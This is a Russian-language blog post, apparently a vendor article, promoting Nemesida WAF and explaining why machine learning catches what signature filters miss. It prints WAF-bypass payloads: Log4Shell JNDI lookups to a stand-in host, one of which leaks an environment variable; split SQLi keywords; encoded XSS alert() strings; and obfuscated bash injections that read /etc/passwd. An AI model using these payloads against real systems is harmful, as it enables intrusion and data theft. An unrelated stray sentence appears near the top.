Защита веб-приложения в 2022: что должен уметь современный WAF?

Моя цель - предложение широкого ассортимента товаров и услуг на постоянно высоком качестве обслуживания по самым выгодным ценам.

Интернет - опасное место. Мы регулярно слышим о том, что один сайт недоступен из-за DDoS-атак, а другой взломали и опубликовали непристойности на его страницах. В третьих случаях миллионы паролей, адресов электронной почты и данные кредитных карт стали общедоступными. Веб-приложения нуждаются в защите и один из самых популярных способов их защитить - использовать WAF. Для выявления атак Nemesida WAF использует ИИ в виде модуля машинного обучения, но нам часто не верят, утверждая, что это лишь маркетинг. Что ж, давайте разбираться.

Поясняем за ИИ в Nemesida WAF

Для чего нам вообще нужен модуль машинного обучения Nemesida AI? Все очень просто - сигнатурный анализ работает быстро и понятно, но не точно.

Сигнатуры построены по принципу вхождения определенной последовательности символов в запрос. Если при анализе сигнатура обнаружена - запрос блокируется. И чем точнее составлен набор сигнатур, тем выше вероятность отразить атаку. Однако, на каждую сигнатуру можно написать байпас. Попытаетесь создать сигнатуру против него - атакующий напишет новый, и так по кругу. Из актуального - CVE-2021-44228, когда каждую последующую сигнатуру обходили новым способом.

${jndi:dns://example.com/...}
${jndi:rmi://example.com/...}
${jndi:ldap://example.com/Basic/Command/Base64/...}
${jndi:${lower:l}${lower:d}a${lower:p}://ex${upper:a}mple.com/...}
${${::-j}${::-n}${::-d}${::-i}${::-r}${::-m}${::-i}://example.com/...}
$\{$\{::-j\}$\{::-n\}$\{::-d\}$\{::-i\}:$\{::-r\}$\{::-m\}$\{::-i\}://$\{env:USER\}.example.com/...}
${${env:ENV_NAME:-j}n${env:ENV_NAME:-d}i${env:ENV_NAME:-:}${env:ENV_NAME:-l}d${env:ENV_NAME:-a}p${env:ENV_NAME:-:}//example.com/...}

Первые 3 строки - пример эксплуатации уязвимости из-за некорректной работы интерфейса JNDI (Java Naming and Directory Interface), который позволяет программе на языке Java находить и подключать внешние объекты данных, данные могут загружаться атакующим буквально откуда угодно. Последний вариант, кстати, передает данные в Base64.

Последние 4 строчки - варанты байпасов для обхода WAF. Полезные нагрузки составлены на основе документации по Apache Log4j и включают в себя:

  • {lower:} и {upper:} - преобразование символов в верхний/нижний регистр;

  • {env:ENV_NAME:-} - использование переменной среды;

  • {::-} - подставновку строк.

Но вернемся к модулю машинного обучения Nemesida AI. Машинное обучение, в отличие от сигнатур, работает точно, но медленнее. Точность выявления атак, по сравнению с сигнатурами, увеличивается примерно на 30%. Модуль выявляет не вхождение определенного паттерна, а признаки атаки, как если бы живой человек анализировал запросы. По совокупности признаков принимается решение о блокировке. Но высокая точность увеличивает потребление ресурсов сервера.

Компромисом в этом вопросе стал комбинированный анализ, используя который, запросы с явными признаками атаки отсекаются сигнатурами, а неявными - поступают на анализ в модуль машинного обучения Nemesida AI.

В редких случаях возникновения ложных срабатываний их всегда можно экспортировать, после чего схожие запросы не будут блокироваться и войдут в обучающую выборку модуля машинного обучения.

Cколько байпасами не корми — все равно на сигнатуры смотрят

Способов обхода сигнатурного анализа можно придумать много — от банального расщепления нагрузки вроде un","ion se","lect или злоупотреблением функционала некоторых WAF, которые удаляют из запроса потенциально небезопасные конструкции, например, uniUNIONon, но не блокируют сам запрос, и до использования различных кодировок и манипуляций. Ключевые слова можно и не расщеплять, но убрать пробелы между ними:

union+/*!select*/(1),2,3...
union(select(1),2,3...

На кодировках основаны многие способы обхода WAF. Например, последовательность alert() можно частично или полностью передать в:

UTF-8

\x61\x6c\x65\x72\x74\x28\x29

UTF-16

\u0061\u006c\u0065\u0072\u0074\u0028\u0029

или UTF-32

u+00000061u+0000006cu+00000065u+00000072u+00000074u+00000028u+00000029

Есть еще HTTP Entity Encode, Base64, UTF-8 Halfwidth and Fullwidth Forms, множественные URL Encode и т. д.

Можно попробовать составлять сигнатуры, но, скорее всего, они просто увеличат количество ложных срабатываний или пропусков атак.

Другой пример - не используя кодировку запроса, а только особенность обработки данных Bash-интерпретатором (при наличии OS Command Injection), мы можем прочитать содержимое файла, например, /etc/passwd, выполнив расщепление данных с помощью кавычки:

ca't /et'c'/pas's'wd

или символа ?, который будет преобразован до нужной буквы (/bin/cat /etc/passwd):

/bi?/ca? /et?/pa??wd
/???/??t /???/pa??wd

Даже используя неинициализированную переменную можно расщипить последовательность /etc/passwd и обойти фильтрацию сигнатурами, где $u будет пустой строкой:

cat$u /etc$u/passwd$u

Изменяя разными способами один и тот же запрос, блокируемый сигнатурами WAF, мы можем получить выражение, которое WAF не распознает как атаку.

ec'h'o 'cat /etc/examplewd' | sed 's/example/pass/g' | bash

Данный метод последовательно выполняет: команду echo cat /etc/examplewd, затем с помощью функции sed необходимый участок строки cat /etc/examplewd заменяется по шаблону. После этого уже измененная строка передается в Bash и выполняется на сервере, возвращая результат пользователю. Для WAF такой запрос будет выглядеть как строка, в которой отсутствуют признаки сигнатур.

Перекрыть эти и им подобные техники без увеличения ложных срабатываний сигнатурным методом практически невозможно, но модуль машинного обучения вкупе с различными механизмами нормализации выявляет очень точно и эти, и многие другие методы обхода.

Боты... безжалостные и беспощадные

Боты - с ними сталкиваются все владельцы публичных веб-приложений.

Какую опасность представляют боты:

  • истощают ресурсы сервера избытком запросов (DoS, DDoS);

  • могут использоваться для сокрытия другой атаки;

  • сливают бюджет за счет злоупотребления функционалом авторизации или восстановления пароля по СМС;

  • используются для поулчения доступа к аккаунтам пользователей (Account Takeover);

  • Вынуждают сотрудников сервисов вручную выполнять определенные действия, которые неввозможно автоматизировать. Например, обработка повышенного количества заявок интернет-магазина и т.д.

Для блокирования подобных атак в Nemesida WAF используется 3 механизма:

  • выявление попыток перебора значений (подбор логина/пароля и т.д.);

  • выявление попыток злоупотребления СМС-функционалом;

  • выявление DDoS Layer 7

Иногда возникают ситуации, когда WAF еще не определил достаточное количество признаков атаки для блокировки, а действовать нужно "здесь и сейчас". Администратор/ИБ-специалист может помочь ему - самостоятельно выявить признаки атаки и составить правило блокировки. Рассмотрим примеры.

Пример 1

На одно из защищаемых веб-приложений совершается DDoS-атака. Модулю Nemesida AI нужно некоторое время, чтобы определить признаки атаки и заблокировать их источник(и).

Но мы понимаем, что IP-адреса из Бразилии вряд ли будут обращаться к этому домену, наверняка это атака. Переходим в облачный сервис управления настройками Nemesida WAF и за пару кликов составляем правило блокировки всех запросов из Бразилии (BR) для домена shop.example.com:

Пример 2

Мы знаем, что к веб-приложению обычно обращаются, например, из России и США. Наблюдая за однотипными запросами из других стран, понимаем, что, скорее всего, это DDoS-атака. Поэтому создаем правило для блокировки всех запросов, которые поступают из стран, отличных от России и США:

Пример 3

Сайт shop.example.com международный и к нему могут обращаться пользователи из разных стран. Но в списке заблокированных запросов подмечаем один из признаков DDoS-атаки - подозрительный User-Agent curl/7.68.0:

Создаем еще одно правило, которое будет блокировать все запросы с curl/7.68.0 в User-Agent.

Выявление атак с помощью ботов может быть затруднено из-за отсутствия явных признаков атаки, в отличие от компрометационных атак (SQLi, XSS, RCE и т.д.). Временное ограничение по странам не всегда поможет, ровно как и попытки заблокировать по полю User-Agent или другим признакам — после нескольких блокировок ботнет может направить запросы с новых IP и с новыми полями. Для решения этой проблемы в Nemesida WAF мы используем набор признаков, влияющих на принятие решения о блокировании: репутационную GeoIP-базу, наличие адреса в списках прокси-серверов (VPN/Tor/etc) или хостинг-площадок и поведенческий анализ.

Машинное обучение или сигнатурный анализ?

Основные преимущества и недостатки каждого подхода можно сравнить в табилце:

Сигнатурный анализ

Машинное обучение

Преимущества:

1. Скорость обработки запроса выше.

Недостатки:

1. Количество ложных срабатываний выше;
2. Точность выявления атак ниже;
3. Не выявляет новые признаки атак;
4. Не выявляет аномалии (в том числе brute-force атаки);
5. Не способен оценивать уровень аномалий;
6. Не под каждую атаку возможно составить сигнатуру.

Преимущества:

1. Выявляет атаки более точно;
2. Количество ложных срабатываний минимально;
3. Выявляет аномалии;
4. Выявляет новые признаки атак.

Недостатки:

1. Требует дополнительных аппаратных ресурсов.

Веб-интерфейс

Никто не любит отслеживать атаки, просматривая тысячи и тысячи строчек журналов веб-сервера. В Nemesida WAF можно установить Личный кабинет, который будет собирать информацию об атаках и отображать их в понятном виде, а при желании можно интегрировать с SIEM-системами. Здесь и информация об атаках, и графики интенсивности атак по типам, и статистика по IP, и т.д. Хотите всегда быть в курсе событий - активируйте уведомления на почту.

Круто, где скачать?

Все модули Nemesida WAF представлены в виде установочных дистрибутивов для Ubuntu/Debian/CentOS и разворачиваются в инфраструктуре клиента (on-premises software). Анализ запросов и обучение поведенческих моделей происходит также в инфраструктуре клиента, не передавая трафик за периметр. Протестируйте Nemesida WAF бесплатно в течение 2-х недель и узнайте, как часто вас атакуют. Оставайтесь здоровыми и защищенными.

Ссылка на Nemesida WAF: nemesida-waf.ru

Вы все еще на сигнатурах? Тогда мы идем к вам

Оценить качество защищенности веб-приложения может каждый. На Github мы опубликовали собственный инструмент WAF Bypass, с помощью которого можно оценить используемый в данный момент WAF. Этот бесплатный инструмент содержит почти 1500 полезных нагрузок для SQLi, XSS, SSTI, RCE, LFI/RFI и т.д., написан на Python3 и доступен в виде Docker-образа.

Источник: https://habr.com/ru/company/pentestit/blog/657899/


Интересные статьи

Интересные статьи

Рассказываем, как начинающему разработчику установить и управлять различными версиями Python с помощью Pyenv, подготовить свой проект и создать виртуальное окружение через Poetry.
Привет, Хабр!Меня зовут Дмитрий Матлах. Я тимлид в AGIMA. Мы с коллегами обратили внимание, что в сообществе часто возникает вопрос о том, как совместить на одном проекте Bitrix-компоненты и реактивны...
В моём предыдущем материале речь шла о сравнении производительности ASP.NET Core-приложений, запускаемых в Windows и в среде Linux + Docker, работающих в службе приложений Azure. Эта тема...
Иллюстрация, созданная для «A Journey With Go», из оригинального гофера, созданного Рене Френч. С точки зрения производительности систематическое использование указателей вместо копирования ...
Ярополк Раш из Wargaming рассказал, кого на самом деле ищут работодатели, чем продакт-менеджер отличается от продюсера и по какому фреймворку он работает. Проблема большинства продуктовых кон...